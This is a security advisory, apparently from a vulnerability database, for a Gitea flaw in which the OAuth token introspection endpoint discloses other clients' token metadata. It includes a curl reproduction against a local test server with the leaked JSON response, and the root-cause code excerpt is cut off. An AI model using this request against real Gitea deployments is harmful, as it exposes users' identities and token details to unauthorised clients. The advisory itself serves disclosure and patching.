fkie_cve-2026-58425

OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)

GHSA-vxv2-8j6r-pcpg — Gitea: OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)

Affected: Go: code.gitea.io/gitea

## Live reproduction against Gitea 1.26.1

Setup: Gitea 1.26.1 docker stack with two users (`admin` and `victim`) and two OAuth applications owned by different users:

``` Client A: id=5dda747d-7fdd-4694-85ff-ce4f893ce51e owner=admin Client B: id=588f778f-4a41-4914-ae01-85d776c369db owner=victim ```

`admin` runs an OAuth flow against Client A and obtains an access token. `victim` (acting through Client B's credentials) calls the introspection endpoint with Client A's access token in the body:

``` $ curl -s -u "$B_ID:$B_SEC" -X POST http://localhost:3001/login/oauth/introspect \ --data-urlencode "token=$CLIENT_A_ACCESS_TOKEN" { "active": true, "username": "admin", "iss": "http://localhost:3001", "sub": "1", "aud": [ "5dda747d-7fdd-4694-85ff-ce4f893ce51e" ] } ```

Note the `aud` claim: the server explicitly states the token's audience is Client A, yet returns the full metadata to Client B. Per RFC 7662 section 4 ("The authorization server SHOULD also limit the information it discloses about each token to the resources that are authorized to receive it") the introspection result must not be disclosed to clients other than the token's audience.

Full reproduction script attached as `poc.sh`. Full session log attached as `live_run.log`.

## Root cause

`routers/web/auth/oauth2_provider.go:130-175` `IntrospectOAuth`:

```go func IntrospectOAuth(ctx *context.Context) { clientIDValid := false authHeader := ctx.Req.Header.Get("Auth…

Most recent entries from all

fkie_cve-2026-58425

GHSA-vxv2-8j6r-pcpg — Gitea: OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)